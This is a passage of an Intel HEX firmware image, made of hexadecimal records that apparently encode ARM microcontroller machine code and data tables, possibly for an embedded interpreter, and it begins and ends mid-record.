E7052827D124481FF03DF9039441\n:1083C0000DF00EFB6B46C1B2DC1D21700329E4D019\n:1083D00004290AD11B481FF02FF90121162202A8F7\n:1083E000FFF7F8FE2842BDD0CDE702A81FF06CF8D9\n:1083F00023780D2B03D116481FF01EF9E0E7012169\n:1084000020000DF005FBDBE7039B002BAAD002A8A0\n:108410001FF048F8F9F73AFC00280BD00A2102A80F\n:108420001FF052F80B4902A819F047FE0328B4D0F8\n:108430000428ECD10021D1E7C41203001513030076\n:108440003B130300CA0D0300E900002040130300A2\n:108450007013030077130300F8B5124A0E00124B95\n:10846000124990421AD0C4688C4203D00124306073\n:108470002000F8BD406B002812D004689C42F0D167\n:108480000500002447680835BF00EF19BD42EFD250\n:10849000310001CDFFF7E0FF2418F7E70024E7E7FC\n:1084A0000400E5E7F09A02006CD10200A18500000B\n:1084B000F7B505000C00AB68002B0AD0344AE16820\n:1084C000914206D0E358002B03D00422EB681A60D7\n:1084D000F7BDA06B002820D06B680430D9000623BC\n:1084E000002219430EF064F9002816D0297C426856\n:1084F000EB682868002904D001000020F8F7C8F9CB\n:10850000E6E7002807D02249E5688D4203D02149DB\n:108510008C4200D000692100F0E72B68002B16D1B7\n:10852000646B002CD4D01C4B22681A4F9A420BD19A\n:1085300026006368194A08369B189B00F3180193BC\n:10854000019B34689E4216D3BC42B4D1C0E72A7C5A\n:10855000002AE5D10E4AE1689142E1D00D4A9442E9\n:10856000DED01869EA686968F8F7ECF9EB681B680F\n:10857000002BD5D0ACE7BC4201D10436E0E72100A6\n:108580002800FFF795FFEB681B68002BF5D09FE7ED\n:10859000A1850000F09A02006CD10200FFFFFF3FAE\n:1085A000F0B58FB00E0005A9019202930700FFF706\n:1085B00053FF041DA400200019F0F5FC0500002164\n:1085C00080C01FF0ADF922002800103A10300021C1\n:1085D00020F0FDFF012E05D1029B1B680393042BA5\n:1085E00000D189E007AC08220021200020F0EFFF35\n:1085F000F222002309A8FF324260E63AFF3A39002E\n:108600008260C46003740993FFF752FF079804283F\n:108610002FD10598029BC468019A3100A0472861B8\n:10862000280004F0EBF8B84266D1EA220023FF32BA\n:10863000390009A8089307930B9309950A92FFF74D\n:1086400037FF079B002B57D00198304336D107AA3C\n:10865000010019F0BBFB0400294B9C424CD02000C8\n:108660001BF053FB274902002748F9F7D9FFFEF713\n:1086700017FF0028D4D0019A324306D106AB01215E\n:108680000697F8F7E7F80500CAE7019B5D00AD190A\n:108690000135AD00280019F086FC2A1F03900299CD\n:1086A00080C020F078FF711C039B019A2068F8F7C6\n:1086B000D1F80500039819F0A5FCB1E7019B5C0017\n:1086C000A4190234A400200019F06DFC2200070058\n:1086D000079B029903600393089B083A43600830A4\n:1086E00020F059FF3A000199300019F06FFB0400A7\n:1086F000380019F087FCAFE728000FB0F0BDC04686\n:1087000024DD0200CC13030058A60200F0B5146863\n:1087100089B01700002C0ED1436882685E6B03ADF0\n:1087200003926960AC60EF602C74002E05D1114992\n:108730002800FFF7BDFE09B0F0BD0F4B32689A422A\n:1087400010D173680193019B9C42F0D03300A200CA\n:10875000083399582800FFF7ABFE3B68002BEAD19D\n:108760000134F0E731002800FFF7A2FE3B68002B40\n:10877000E1D1DCE7F09A02006CD1020010B54A6842\n:1087800001491AF022FC10BDC614030070B58AB06E\n:1087900005000E00140000210822684620F017FF93\n:1087A0000021102206A820F012FF202307936B4619\n:1087B000059508932968E023002C02D0042C10D1E1\n:1087C000E623FF3305A80693FFF772FE0221009807\n:1087D00004280ED122003100286904F07BFA0AB087\n:1087E00070BDFC2305A85B000693FFF761FE032123\n:1087F000EDE70028F3D002AB002202950396049423\n:10880000F8F728F8042CEAD00048E8E724DD020055\n:10881000F0B5214B89B08200D4580D000822002108\n:10882000070001A820F0D3FE142303AEB36001AB10\n:10883000F360002329683000746003953374FFF7F8\n:1088400037FE019C042C07D129693800F7F790FF07\n:108850000400200009B0F0BD002C0CD0200029003D\n:1088600019F0ACFA0400022FF3D104F0D7F8012478\n:1088700040000443EDE7022FEBD1E2232968FF33E8\n:1088800030007360FFF714FE019B002BE1D101243F\n:108890006D002C43DDE7C046F4B80200F0B5564247\n:1088A000564103238BB00C00019000211700764243\n:1088B000082203A81E4020F08AFE0823079303AB7A\n:1088C0000893002305ADF736FF36216828002B7486\n:1088D00005940696FFF7ECFD039B002B09D1002FB2\n:1088E00007D1F733FF33216828006B60AF60FFF7D3\n:1088F000DFFD039804281AD1206903F07FFF154B90\n:10890000C2689A4211D1002F07D0236858681EF020\n:1089100075FE010001981AF09AFA80223A43216903\n:10892000019803F083FF0BB0F0BD3A00F7E7002891\n:1089300005D0210019F042FA00220100F0E72000E2\n:108940001BF0E3F923000200034901981AF03DFBF4\n:10895000E9E7C046DD2400009713030070B504006A\n:108960000D000B491AF073FA69680022200003F029\n:108970005DFF084920001AF06AFAA9680022200069\n:1089800003F054FF044920001AF061FA70BDC0469C\n:1089900084140300C8070300D114030010B5C46891\n:1089A000002C06D1426804490448F9F739FEFEF765\n:1089B00077FDA04710BDC0468D14030058A60200E5\n:1089C000F0B5154B89B016008200D5580C000C226A\n:1089D00000210700684620F0FAFD182303A845602F\n:1089E000836000256B462168C36005740394FFF71C\n:1089F0005FFD0098042806D1320021693800F8F79D\n:108A000049FC09B0F0BD0028FBD06A4629000120CE\n:108A1000029619F0DBF9F4E76CB70200F0B5170025\n:108A2000EE228DB004000393002307A85200426099\n:108A3000CD3A05ADFF3A0E0021688260C56003742F\n:108A400005936B600794FFF733FD0598002809D163\n:108A500020001BF05AF90C4902000C48F9F7E0FD20\n:108A6000FEF71EFD039B042806D13A003100206961\n:108A7000F7F7F0FE0DB0F0BD009332003B006968DF\n:108A80001AF05AF9F6E7C046AE05030058A60200F0\n:108A9000F0B50D0085B001A907001600280002AA54\n:108AA0001DF02AFC00230199029899422CD13C2008\n:108AB00019F08BFA2A4B019A03602A4B0400836059\n:108AC000294B4760C360294B0361294B4361294B04\n:108AD0008361294BC361294B0362294B4362294BB4\n:108AE000C362002A06D0029B1968096B0163012A40\n:108AF00018D94563A66303A92000FFF7ADFC012840\n:108B000013D92148F8F782FD9A008258D468002CC6\n:108B100006D152681D491E48F9F782FDFEF7C0FCD8\n:108B20000133C2E71B684363E4E7A36B0022181D0F\n:108B300018490DF03DFE051E0ED0032243681A4071\n:108B40000AD11968144B4968994205D1031D0121C6\n:108B500012481AF08CFA6860200005B0F0BDC046DB\n:108B6000B8B802009D880000A18500001D8A0000A1\n:108B700011880000C1890000E12F02008D870000EC\n:108B80006131020017310200561403002D14030056\n:108B900058A602008E0F00004502000040B80200F7\n:108BA00037B50D001C000023110000930122033390\n:108BB0002800F9F7C3FB012D04D0032D06D0074888\n:108BC000F8F724FD206803F019FE3EBD206800F090\n:108BD000ABF9A2686168FFF75BFFF6E7AA14030030\n:108BE0001FB5064B0A0001934B6802938B68010086\n:108BF00001A80393F7F7D8FE05B000BD7CB80200CA\n:108C0000F8B50E0003271349134AB0421CD00300E5\n:108C10003B401BD104688C421AD1406B002814D011\n:108C200003689342F1D1050044680C4B0835E41801\n:108C3000A4002C192868A542E5D23100FFF7E0FF17\n:108C4000002802D10435F5E70120F8BD0020FCE73B\n:108C50001800FAE7B8B802006CD10200FFFFFF3F2E\n:108C6000F0B585B00500019108008B0717D10B689E\n:108C7000134A93420BD10123029301AB03930024C7\n:108C8000029E039FA6420DD10E4805B0F0BD0E4ACC\n:108C9000934204D103AA02A91DF02EFBEFE70B4873\n:108CA000F8F7B4FCA300F958094B994206D0280004\n:108CB000FFF7A6FF002801D10134E3E70548E4E708\n:108CC000B8B80200ACAD02006CD10200F41303008E\n:108CD000F09A0200B4AD020010B5830703D1054B32\n:108CE00002689A4202D00448F8F790FCFFF7B8FFF8\n:108CF00010BDC046B8B80200A9130300032230B566\n:108D000002400121002A04D1084C05680B00A5424D\n:108D100009D00B00034006D1002A04D1036804489F\n:108D20001B1A58424341180030BDC046BCAD02007A\n:108D300004C6020010B50400FFF7E0FF012200287E\n:108D40000AD1032302002340022B05D1034804402B\n:108D5000063C2200541EA241100010BD070080FFF7\n:108D6000044B88600B60044B08004B600023CB6011\n:108D70007047C04684DC0200D534020010B503F011\n:108D80003DFD084B42680848D31859424B41AC217D\n:108D90005B428B43B02189005B180449F9F740FC22\n:108DA000FEF77EFB40FDFFFF58A60200D314030030\n:108DB000F7B504000E00019301208B180A00002172\n:108DC0000093009B934212D82725002900D0053D2F\n:108DD000224F2A00390020001AF0F7F8009B9E422B\n:108DE00014D32A00390020001AF0EFF8F7BD1378E9\n:108DF000272B08D0223B5D426B41DBB20132002BB6\n:108E0000DFD02725E4E700230100F7E73278AA4204\n:108E100005D12A00124920001AF0D7F81AE01149AA\n:108E20005C2A14D01F2A09D97F2A15D0019B002B58\n:108E300002D053B2002B0FDB3900ECE70A490A2AB3\n:108E400005D00A490D2A02D0092A05D10849200077\n:108E500019F0FDFF0136C1E70649DCE7DC18030025\n:108E6000DB180300DF180300E2180300E518030015\n:108E7000E8180300EB180300194B70B506000C004E\n:108E800098420FD14968A0680CF000FC051E09D07B\n:108E900020001EF0DBFA0023ED00236006331D43A3\n:108EA000280070BD102019F07EF86168050081600F\n:108EB0000660A0680CF0CCFB63686860591C2368EE\n:108EC000994208D1A368EB600023EA68A96853546B\n:108ED000A3602360E4E7A06819F083F8E860F3E793\n:108EE00040BB020070B504000D00002A05D00CF054\n:108EF000FFFBC3000620184370BD0CF0C7FB002821\n:108F0000F7D12A00210002481AF0BCF9F4E7C04664\n:108F100040BB020010B50A00010002481AF0B2F985\n:108F200010BDC04620B90200094B10B50340062B06\n:108F300001D1C00810BD830708D1064B02689A42D0\n:108F400004D18168C0680CF0D3FBF3E7FFF716FF8C\n:108F5000070080FF40BB0200064B10B50340062B04\n:108F600003D1C0081EF04FFB10BD8368C0680B60C2\n:108F7000FAE7C046070080FFF0B50F00002589B072\n:108F8000110006001C003800009503232A00F9F7A1\n:108F9000D5F90E20AF420FD0012F0FD102AA102118\n:108FA00004A80CF0ADFA216802A82A0003F03EFCE8\n:108FB00004A93000FFF760FF09B0F0BD2068830707\n:108FC00022D1164B02689A421ED104A9FFF7C4FFB2\n:108FD000134B050020680340062B13D1C0081EF078\n:108FE00003FB0400002C04D1049928000CF030FB92\n:108FF00004001020049F18F0D6FF06608760C5604B\n:109000004460D9E74468EDE704A9012203F094FE27\n:10901000002205990498FFF765FFCDE720B902000B\n:10902000070080FFF0B58DB00400039103F0E6FB6C\n:1090300004A906002000FFF78FFF039B01902F4833\n:109040009A0705D11B6883420AD02D4A934207D064\n:10905000C36800220293012103AB029CA047039046\n:10906000002406AA05A9039803F050FD2500059BDE\n:10907000A3420ED82900002508A81EF0D6F90A9CA4\n:10908000059BAB4221D808A93000FFF7F5FE0DB0D3\n:10909000F0BD069BA700D85903F0B0FBB04202D048\n:1090A0001848F8F7B3FA002C01D0049BED18069B82\n:1090B000D859154B0340062B05D1C0081EF099FA6C\n:1090C0002D180134D3E78068FAE7002D06D0200080\n:1090D000049A019920F05FFA049BE418069AAB0009\n:1090E000985807A9FFF738FF079A0100200020F0E1\n:1090F00052FA079B0135E418C2E7C046FCC10200E2\n:109100006CD1020018190300070080FFF0B58BB086\n:10911000049008680D000692079303F06FFB0600A9\n:10912000686803F06BFBB04202D06868FFF726FE68\n:1091300008A92868FFF710FF040009A96868FFF76D\n:109140000BFF089A0590A3180393049B2700022B9A\n:1091500019D9AB681C498B4206D00121300000911F\n:10916000210001F05BFA0700049B032B0BD0EB6896\n:10917000154A934207D00122210000923000089A3C\n:1091800001F04CFA0390039B059AD91B069B38000B\n:109190000093099B1AF057F8002806D1079B013865\n:1091A000002B0CD00948F8F76DF8094B9E4208D106\n:1091B000010020001EF0A5F84400012020430BB060\n:1091C000F0BD041B6400F8E724DD0200041903006D\n:1091D00040BB0200F0B5070087B008680D0003F03F\n:1091E0000DFB04A906002868FFF7B6FE05A90400D8\n:1091F0006868FFF7B1FE03902000022F07D9012312\n:10920000049A00932100AB68300001F007FA059A38\n:10921000041B0499A418064B8C4206D8039920F02D\n:10922000ACF9034B002800D1024B180007B0F0BD89\n:10923000ACAD0200B4AD020073B50C000600694687\n:109240002068FFF789FE01A905006068FFF784FE2A\n:109250000100022E02D90848F8F706FA019A009890\n:10926000064C824206D8801A281820F086F9002879\n:1092700000D1034C200076BDF2180300ACAD020013\n:10928000B4AD0200F0B58FB0079010680C00160066\n:1092900003F0B4FA0690012C31D0706803F0AEFAF6\n:1092A000069B984202D07068FFF768FD0DA97068B0\n:1092B000FFF752FE0D9B089009930DA93068FFF748\n:1092C0004BFE0D9B0B900493079B012B1CD1049B21\n:1092D0005D1E01235B420A9300242700049B039434\n:1092E0000593059B002B13D1039B002B23D1214B0E\n:1092F000069A0E209A4200D01F480FB0F0BD0723F7\n:1093000009931E4B0893D8E7012300250A93E3E74E\n:109310000B9B09995A1901230898009319F093FFA0\n:10932000002816D1039B002B19D1079B002B09D1D4\n:109330002F00049B5C1E049B0134E21B934212D15C\n:109340003068DAE7079B2C00012B0AD001232F009D\n:1093500003930A9BED18059B013B0593C1E72C0085\n:10936000F7E7039FE7E70B9B0698D91919F08AFFE7\n:10937000C3E7C04640BB020010B9020071190300E8\n:10938000F0B589B0049008680D0003F037FA0700C3\n:10939000686803F033FAB84202D06868FFF7EEFC61\n:1093A00006A92868FFF7D8FD060007A96868FFF737\n:1093B000D3FD069A0590B3180393049B3400022B47\n:1093C00019D9AB681D498B4206D0012138000091A4\n:1093D000310001F023F90400049B032B0BD0EB6850\n:1093E000164A934207D00122310000923800069AB3\n:1093F00001F014F903900025079BAB4212D1039BA7\n:109400002000191B1DF08CFF01304500012028436E\n:1094100009B0F0BD0599200020F0AFF8002808D170\n:1094200001353400079A039BA6189E42F2D96D00BD\n:10943000ECE720001DF05CFF0600F2E724DD0200EF\n:1094400010B5010001481AF00FF810BD4173020079\n:1094500010B5010001481AF007F810BD537302005F\n:10946000F7B50500080001A9FFF776FD019B06008E\n:10947000002B01D11348FEBD134B9D421FD0134B4F\n:1094800000249D4206D1270013E0305DA847002844\n:10949000F0D00134019BA342F7D80D48EBE7305DD3\n:1094A0000BF042FE002803D0305DA847071EE1D034\n:1094B0000134019BA342F2D8002FEED1DAE7002459\n:1094C000E1E7C046ACAD020091510100A951010095\n:1094D000B4AD020010B501000148FFF7C1FF10BD97\n:1094E0001151010010B501000148FFF7B9FF10BD8F\n:1094F0002951010010B501000148FFF7B1FF10BD6F\n:109500004151010010B501000148FFF7A9FF10BD4E\n:109510009151010010B501000148FFF7A1FF10BDF6\n:10952000A9510100F0B585B006000C00170003F04A\n:1095300065F9694605003000FFF70EFD0600042FAF\n:1095400023D10098A30715D1114B22689A4211D15B\n:1095500001AA210007F026FA002802D10D48F8F7E9\n:1095600083F80199029A2800521A711819F08AFE9C\n:1095700005B0F0BD002301002200280003F0FCFA32\n:10958000335C01205B001843F2E70020F0E7C0469F\n:1095900044BC02004D0E030070B51D008EB00029C2\n:1095A00000D174E018683B4C03002340062B05D023\n:1095B000830726D1384B02689A4222D10239012909\n:1095C00062D80AA9FFF7C8FC060028680440062CE8\n:1095D00015D1C0081EF008F80400002C04D10A9927\n:1095E00030000CF035F8040010200A9D18F0DBFC68\n:1095F0002A4B85600360C66044600EB070BD44684D\n:10960000EBE7012940D80122104210D0441021007C\n:109610000AA81DF00AFF0C9B0021220018000193EC\n:109620001FF0D5FF0AA91D48FFF726FCE5E703A9AF\n:109630001AF082FB002805D0049A0399174819F004\n:1096400021FEDAE7286803F0D7FA1021002800D0BD\n:10965000411006A81DF0D8FE0AA92868F7F7F0F90E\n:1096600004002000F7F74EFA002801D106A9DAE736\n:1096700003F0A8F9FF2802D90948F7F703FEC1B2A1\n:1096800006A81DF021FFECE70648F7F7BFFF0648E4\n:10969000B3E7C046070080FF40BB020020B90200CC\n:1096A000FE1403001715030010B9020073B504007F\n:1096B000080001A91600FFF74FFC0500042E06D193\n:1096C0000300019A0749200019F07FFC73BD064989\n:1096D000200019F0BCFB0123019A29002000FFF7AC\n:1096E00067FBF3E75D190300F87903000A001B4BE1\n:1096F00073B51A4005000C000340062B0CD1062A56\n:1097000004D1441A60426041C0B212E0C0081DF0AA\n:109710006BFF0600606805E04668062AFAD1C808B3\n:109720001DF062FF002E05D0002803D0B04201D00A\n:10973000002076BD69462800FFF70EFC01A9050050\n:109740002000FFF709FC009A019B01009A42EFD12B\n:1097500028001FF012FF44426041D5E7070080FF58\n:10976000084B07B50340062B08D0830704D10268D5\n:10977000054B92699A4201D0FFF700FB01A9FFF760\n:10978000EBFB0EBD070080FF199D00000A4B13B5CF\n:1097900003400C00062B08D0830704D10268074B56\n:1097A00092699A4201D0FFF7E9FA01A9FFF7D4FBC9\n:1097B000019B236016BDC046070080FF199D000075\n:1097C000F0B59BB00B900591089210210EAA12A83B\n:1097D00009930BF095FE059B089A934208D30B9AC8\n:1097E00012AB13CB13C21B6813600B981BB0F0BDF8\n:1097F000059B19785D1C7D290ED1089BAB4208D9C9\n:10980000059B59787D2904D112A81DF05DFE0595B0\n:1098100007E0BB48F7F736FD7B2906D012A81DF0FC\n:1098200053FE059B01330593D5E7089BAB422DD929\n:10983000059B59787B29E7D02B007D2903D021296E\n:1098400001D03A2924D100252F001A780026212A98\n:109850000BD108995A1C914223D95E783200723A92\n:10986000012A1ED80233994210D900211A78059195\n:109870003A2A26D15A1C5B7805927D2B25D0059B70\n:10988000012215E0089A01339A4201D19D48C1E7AF\n:109890001A787D2A03D0212A01D03A2AF2D11F005A\n:1098A000D3E79948B6E719787B2905D1013201330E\n:1098B00008998B42F7D3E9E77D29F8D1013A002ACC\n:1098C000F5D1059A0593069205E0089B059A934207\n:1098D000DCD900230693059B1B787D2B01D08B4898\n:1098E00098E7002D48D00023287816930BF028FC29\n:1098F00000283DD0099B1B680793002B01DD84489D\n:1099000088E716AA3900280019F085FC209A169BD2\n:10991000013A04009A4203D87E497F4818F092FA2F\n:10992000219A01339B009D580122099B52421A60E3\n:10993000BC4231D27948F7F797FE0134BC4204D2D9\n:1099400023782E2B01D05B2BF7D1611B012228003D\n:10995000FFF7C8FA00220500010022980CF028FF4A\n:10996000002807D129006E4818F05CFBFDF798FD30\n:109970002C00E3E74568DBE7099B1B68002B01DA55\n:10998000684847E7209A013A9342C5D201332199AA\n:109990009A005558099A1360069B002B16D1002E89\n:1099A00004D03300733B5A1E9341DEB210AA10213B\n:1099B00016A80BF0A5FD2900320010A802F036FF12\n:1099C00016A95948FFF758FA050001E0002EE8D122\n:1099D00001235B420D931093069B002B00D1ADE059\n:1099E000F8F7E0F8229B059A0293219B06990193D0\n:1099F000209B16A80093099BFFF7E2FE16A81DF016\n:109A000051FD0026179B0400C3180A9303780693A0\n:109A1000B34208D0454F190038001FF014FEB04281\n:109A200000D165E1013423782B2B4ED000272D2B5C\n:109A300002D0202B01D1043701342378232B02D10B\n:109A4000133B1F4301342378302B07D1069A002A99\n:109A500001D13D320692002E00D11E000DAA0A99B6\n:109A6000200019F0D8FB037807902C2B04D10C3B75\n:109A70001F43030001330793079B1B782E2B06D14E\n:109A8000079810AA01300A9919F0C5FB0790079BA7\n:109A90001C78002C1BD0210025481FF0D4FD002885\n:109AA00003D0079B5B78002B11D02248B2E631002F\n:109AB00038001FF0C8FD002804D033000234069E91\n:109AC0000693B0E706900600ADE70227B4E716A8B4\n:109AD0001DF0BCFC069B002B08D12800FFF72AF9DB\n:109AE0003E230693002801D1023B0693002E00D1AD\n:109AF000203606231F4229D0732C23D10E4889E635\n:109B00002B1603006C160300531603008416030083\n:109B1000A8160300F21603004CA302000B17030063\n:109B200088A302002817030040BB0200721703003D\n:109B30007717030087170300A0170300069F3C0058\n:109B40003E00CAE7632C01D16C4863E6069B3D2BBF\n:109B50001FD05E2B1FD03C2B01D13B3B1F43280065\n:109B6000FFF7CCF800282DD0632C50D026D8472CF6\n:109B700013D8452C26D2002C40D0252C22D02800EA\n:109B80001AF0C3F8220003005D495E48F8F748FD6B\n:109B9000ECE64023E2E78023E0E7582C53D0622C28\n:109BA000EDD1002303930D9B0222029361230196C2\n:109BB000009729000EA8FDF76BFE32E6672C17D838\n:109BC000652C1BD32800FFF7B5F800286CD0002CBB\n:109BD00056D06E2C54D0472C3FD8452C41D2252C42\n:109BE00050D028001AF091F8220003004649CCE733\n:109BF0006F2C1AD0782C26D06E2CC0D10023039362\n:109C00000D9B01960293009761230A22D1E7280059\n:109C100002F0D8FE0D9B16A90870012201933B00AB\n:109C200000960EA8FDF7D8FDFBE5FB0602D58023C4\n:109C30009B001F43002303930D9B01960293009703\n:109C400061230822B5E70022230003920D9A173BF7\n:109C50000292019600971022ABE72300653B022B8E\n:109C6000BFD8280002F014FF109B220002930D9B26\n:109C7000011C01933B0000960EA819F061F9D0E594\n:109C80006724EEE72800802402F002FF1F4911F04C\n:109C900049FC109B640002930D9B3C430193011C03\n:109CA000009623006622E7E7069B3D2B01D118486A\n:109CB000B0E5002C01D0732C13D116A92800FFF7B2\n:109CC00065FD109B0100169A002B00DA1092109B84\n:109CD0009A4200D916930D9B00960193169A3B0069\n:109CE0009FE728001AF011F82200030009494CE709\n:109CF0006678002E00D0DAE6069694E6CC170300CC\n:109D0000FF170300D0A60200301803000000C8426D\n:109D10006418030099180300F0B5A1B005000C0009\n:109D20000D920A2800D0E4E10DAB0F930123073D0B\n:109D30001093059215403CD11368BF4A934206D157\n:109D40000FAA10A905981CF0D7FA059502E0BB4AA6\n:109D50009342FAD1109B11A907930F9B20000893FF\n:109D6000FFF7FAF8002309900A93A30705D1B44A34\n:109D700023689B1A5A425A410A9214AA102118A821\n:109D80000BF0BEFB119A00279446099B099C634483\n:109D90000493049BA3420FD8079BAA48BB4229D136\n:109DA0000A9BA748002B00D1A74818A9FFF764F821\n:109DB000B8E100230593CDE72178252904D018A820\n:109DC0001DF082FB0134E4E7049B661CB34202D819\n:109DD0009E48F7F757FA6178252904D118A81DF095\n:109DE00073FB3400EEE70025282915D1059BAB4213\n:109DF00002D19748F7F70AFCA01C06003378292BFC\n:109E000023D1311A0122FFF76DF80100059806F001\n:109E1000E1FB012705000136002334004022002623\n:109E2000302104200B9320330693049BA34213D8C4\n:109E300000231293049BA34231D923782A2B70D19B\n:109E4000079BBB4221D88348D4E7049BB34201D18E\n:109E50008148BEE70136D1E723782D2B03D12C3B77\n:109E60001E430134E1E72B2B01D1293BF8E7202BDE\n:109E700001D10643F5E7232B04D0302BD8D116436C\n:109E80000691EEE710230B93EBE77B1C0C93089BEA\n:109E9000BF00F85802F096FD0C9F12900134012388\n:109EA0005B421393049BA34292D923782E2B17D1A4\n:109EB000049B601C83428BD963782A2B38D1079B83\n:109EC000BB42C0D97B1C0C93089BBF00F85802F022\n:109ED00079FD0C9F13900234049BA34200D877E7CE\n:109EE000002D06D1079BBB42ADD9089ABB009D58F7\n:109EF00001372278672A45D8652A00D3B8E0582A66\n:109F00005DD01DD81300453B022B00D8B0E0099B63\n:109F10005249E41A009413005148F8F781FBFDF709\n:109F2000BFFA200012AA049919F075F90400B6E7E7\n:109F3000002313AA0499139319F06DF90400CBE7D9\n:109F4000632A49D0642AE2D103222B001340022B5A\n:109F50000AD1444B2B40062B06D0FF23DB05E81823\n:109F6000904305F049FA0500139B0A220393129BC4\n:109F700000960293069B01936123290014A8FDF724\n:109F800087FC1FE7732A16D8722A00D380E0692A5B\n:109F9000DAD06F2ABBD10B9B002B02D084239B000D\n:109FA0001E43139B00960393129B08220293069B69\n:109FB00001936123E1E7752AC6D0782AA7D113005F\n:109FC000139A173B0392129A0292069A01920B9AE5\n:109FD000164300961022D0E7224B2B40062B05D0CB\n:109FE000AB0716D1184B2A689A4212D11CA9280037\n:109FF000FFF7CCFB1C9A0100012A01D01A48F9E6B0\n:10A00000129B019320230093330014A8FDF7E4FB77\n:10A01000D8E62800FEF772FE00280BD0280002F0D8\n:10A02000D1FC129B1CA908700193202301220093EC\n:10A030003300EAE70D48DDE66CD1020098CC02005F\n:10A0400020B90200F615030040BB020031150300E1\n:10A0500043150300701503005A150300C1150300D2\n:10A06000D0A60200070080FF97150300B01503007B\n:10A07000280002F00DFD139B22780293129B011C15\n:10A080000193069B14A80093330018F059FF99E63A\n:10A0900016AA10211CA80BF033FA23781A00723A82\n:10A0A00051424A41D2B2722B09D00A9B002B06D0F2\n:10A0B000AB0704D1584B2968994200D104222900EA\n:10A0C00016A802F0B3FB139A1D9B002A00DA139323\n:10A0D000139A9A4200D91A00129B1E9901932023C9\n:10A0E00014A800933300FDF777FB1CA81DF0AEF910\n:10A0F00068E6080002F082FB16A907002000FEF7C0\n:10A100002BFF0590072D20D118A90D9802F098FC7F\n:10A11000002807D01899002906DC404B0E209F42EA\n:10A1200000D03F4821B0F0BD169B1CA859431DF03C\n:10A130007CF91E9B0121049300930598189B169AA5\n:10A140001AF0EFFF1CA9380030E60D9802F056FB1C\n:10A15000B8420FD11CA90D98FEF7FEFE1C9E04907C\n:10A160001D2D17D8192D4ED2052D21D0122D1FD0FF\n:10A170000020D7E7284B0D989F4209D101221CA946\n:10A1800019F0DAFD0028CDD01C9B1D9E0493E7E753\n:10A19000FEF7F4FD1F2DEBD10123049A00931699CD\n:10A1A0003300059819F04FF800282AD11D48B9E767\n:10A1B000169B002B07D10D9802F020FBB84202D16C\n:10A1C0000D9C2000AEE7002EFBD0169B1CA8F118BA\n:10A1D0001DF02BF91E9B169A0599180006931FF087\n:10A1E000DAF9169A1E9B94460593634418003200D0\n:10A1F00004991FF0D0F91CA93800FEF73DFE0400B9\n:10A20000DFE709488EE70096049B169A0599280017\n:10A210001AF0BDFFC8E7C04620B9020040BB0200EB\n:10A2200010B90200ACAD0200B4AD0200F0B50500FB\n:10A2300087B008680C0002F0E1FA0090012D28D9DF\n:10A240006668022D26D0A06802F0BCFB0500002144\n:10A25000080019F0EDFA04A901902068FEF77CFED1\n:10A26000049B0400C7183E4B9E4242D1BC422AD2F6\n:10A2700020780AF04DFF00280FD1002D0FD12100CA\n:10A280003A1B009818F0FEFF0100019801F01EFA39\n:10A2900019E0334E01256D42D9E70134E6E7260087\n:10A2A00030780AF035FF002802D10136B742F7D8DE\n:10A2B0002100321B009818F0E5FF0100019801F021\n:10A2C00005FAB74209D8019807B0F0BD0136B74288\n:10A2D00003D1002DF7DD3E0006E030780AF018FFCC\n:10A2E0000028F3D1002D00DD013DB742EBD9340049\n:10A2F000C3E7300002F082FA009B984202D030009F\n:10A30000FEF73CFD05A93000FFF740FA059B0390DE\n:10A31000002B13D11348F6F7B5FF3E002100321B86\n:10A32000009818F0AFFF0100019801F0CFF9BE428C\n:10A33000C9D2059BF418002D00DD013D2600059BC8\n:10A340000293002DE9D0029BF3189F42E5D3029AB5\n:10A35000039930001FF011F90028DFD00136F0E733\n:10A3600024DD0200CB180300F0B5050089B00C0015\n:10A37000022807D828002100FFF758FF0500280011\n:10A3800009B0F0BD086802F039FA06A90290206809\n:10A390006768FEF7E1FD0090A06802F013FB061E5F\n:10A3A000E8DB431C18000021039319F041FA2C4B01\n:10A3B00005009F4202D12B48F7F756F907A938004C\n:10A3C000FFF7E4F9079B0490002B02D12648F6F72B\n:10A3D00059FF069A34009446009B63440193079FFB\n:10A3E000019BDE1B002C0BD0009BB34208D83A0027\n:10A3F000049930001FF0C1F8002821D0013EF1E798\n:10A40000EB68A6009F19009A019B00999A1A02987E\n:10A4100018F038FF3860002CB1D0039B1C1BEB6890\n:10A42000A70099193A0018001FF0BEF86B680021C8\n:10A430001A1BEB689200D8191FF0C9F8AC609EE7B0\n:10A44000EA68A300D3180593019BF1199A1BD21B4C\n:10A45000029818F017FF059B013C18600196BEE7B3\n:10A4600024DD020062190300CB18030070B50C0054\n:10A470008AB0050004A920681600FEF76DFD0023D0\n:10A480000593049B0100C218029605AB06A801942F\n:10A490000095FFF795F906A90248FEF7EDFC0AB012\n:10A4A00070BDC04640BB020010B504000C2017F080\n:10A4B0007AFD034B4460036001235B42836010BD5F\n:10A4C00004BB0200044B88600B60044B08004B6027\n:10A4D0000023CB607047C04684DC02003F35020099\n:10A4E00013B50400080001A9FEF736FD002C03D0C7\n:10A4F000012C07D0002016BD019B0548002BFAD186\n:10A500000448F8E701991CF00BFF40002043F2E7F4\n:10A51000B4AD0200ACAD0200F0B585B00400080097\n:10A5200003A91500FEF718FD0600002D07D1030052\n:10A53000039A2F49200018F048FD05B0F0BD039B99\n:10A540000200C318002101200193019B934206D809\n:10A550002727002900D0053F3A0026491AE0137842\n:10A56000272B08D0223B5D426B41DBB20132002B2E\n:10A57000EBD02727F0E700230100F7E730001CF0BD\n:10A580009CFE050030001CF0B3FE0600AF4205D172\n:10A590003A001949200018F018FD14E017495C2D05\n:10A5A0000ED02B00203B5E2B01D82A00D5E71449A2\n:10A5B0000A2D05D013490D2D02D0092D0CD11249B9\n:10A5C000200018F044FC019BB342D7D83A00094957\n:10A5D000200018F0FAFCB0E7FF2D02D82A000B4942\n:10A5E000D8E70B4B2A000B499D42D3D90A49D1E742\n:10A5F0005D190300DC180300DB180300DF180300FB\n:10A60000E2180300E5180300E8180300EB18030044\n:10A61000FFFF0000BA190300C1190300F7B51E00BF\n:10A6200008AB1D78294B0C001700984206D12B006F\n:10A630003200390002F0A0FA2018FEBDF30715D54C\n:10A6400076100196019BE219002B2ADA00213F26A1\n:10A650000127501EA04219D2002900D001932000EA\n:10A66000002DEAD11A491B4817F0ECFB01A9300074\n:10A6700002F0E6F90028E5D1300019F046FB164952\n:10A6800002001648F7F7CCFFFCF70AFF0278B24346\n:10A69000802A01D039000133421E002BCDD010009A\n:10A6A000D8E72000012600243F27904204D3002C45\n:10A6B00000D001931000D3E7013BBED3340001303A\n:10A6C0000178B9438029F0D10130F9E720B90200BF\n:10A6D000A01903004CA